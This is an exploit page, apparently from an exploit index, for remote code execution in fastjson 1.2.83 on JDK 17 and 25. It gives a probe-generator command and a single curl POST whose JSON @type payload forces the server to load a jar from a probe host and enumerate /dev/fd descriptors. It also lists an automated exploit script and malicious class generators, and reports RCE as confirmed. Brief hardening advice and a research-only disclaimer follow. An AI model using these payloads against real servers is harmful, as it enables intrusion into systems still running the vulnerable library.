Exploit for fastjson-1.2.83-rce-jdk8-jdk25

## https://sploitus.com/exploit?id=3EDE5444-8CCF-5E9B-BCFF-C0F767F1E5DA
Generate probes with 10-25 fd entries:

`java -cp "poc:poc/lib/asm-9.6.jar:poc/lib/fastjson-1.2.83.jar" \
  GenProbeV2 127.0.0.1 19090 "open -a Calculator" 10 25`

One request completed SSRF + fd enumeration + RCE:

`curl -s -X POST http://TARGET:38080/api/data \
  -H "Content-Type: application/json" \
  -d '[{"@type":"jar:http:..2130706433:19090.probe!.foo.Exception"},{"@type":"jar:file:.dev.fd.10!.fd10.Exception"},{"@type":"jar:file:.dev.fd.11!.fd11.Exception"},{"@type":"jar:file:.dev.fd.12!.fd12.Exception"},{"@type":"jar:file:.dev.fd.13!.fd13.Exception"},{"@type":"jar:file:.dev.fd.14!.fd14.Exception"},{"@type":"jar:file:.dev.fd.15!.fd15.Exception"},{"@type":"jar:file:.dev.fd.16!.fd16.Exception"},{"@type":"jar:file:.dev.fd.17!.fd17.Exception"},{"@type":"jar:file:.dev.fd.18!.fd18.Exception"},{"@type":"jar:file:.dev.fd.19!.fd19.Exception"},{"@type":"jar:file:.dev.fd.20!.fd20.Exception"},{"@type":"jar:file:.dev.fd.21!.fd21.Exception"},{"@type":"jar:file:.dev.fd.22!.fd22.Exception"},{"@type":"jar:file:.dev.fd.23!.fd23.Exception"},{"@type":"jar:file:.dev.fd.24!.fd24.Exception"},{"@type":"jar:file:.dev.fd.25!.fd25.Exception"}]'

The attacked fd locations will become `{}` in the returned JSON array. ## Measured Results

| Environment | Result |
|------------|----------|
| JDK 17.0.14 + Spring Boot 2.7.18 + macOS arm64 | RCE ✅ |
| JDK 25.0.3 + Spring Boot 2.7.18 + macOS arm64 | RCE ✅ |

## Protections

1. **Enable SafeMode**: `-Dfastjson.parser.safeMode=true`
2. **Migrate to Fastjson 2.x**
3. **External HTTP Request Control**: Prevent applications from making external HTTP requests
4. **WAF Intercepts `@type』: Overrides request body and URL parameters; note encoding bypass**

## Project Structure

```
├── pom.xml                      # Spring Boot 2.7.18 + fastjson 1.2.83
├── build.sh                     # One-click build
├── fastjson-1.2.83-rce.md       # Detailed vulnerability analysis notes
├── src/main/java/com/test/
│   ├── App.java                 # Spring Boot main class
│   └── ApiController.java       # POST /api/data → JSON.parse(body)
└── poc/
    ├── GenProbe.java            # Malicious class generator (two-step chain)
    ├── GenProbeV2.java          # Malicious class generator (JSON array single request)
    └── exploit.py               # Automated exploitation script
```

## Statement

This project is only for security research and authorized testing purposes. Do not use it for illegal purposes.

[source-iocs-preserved url=http://` const=VPS_IP]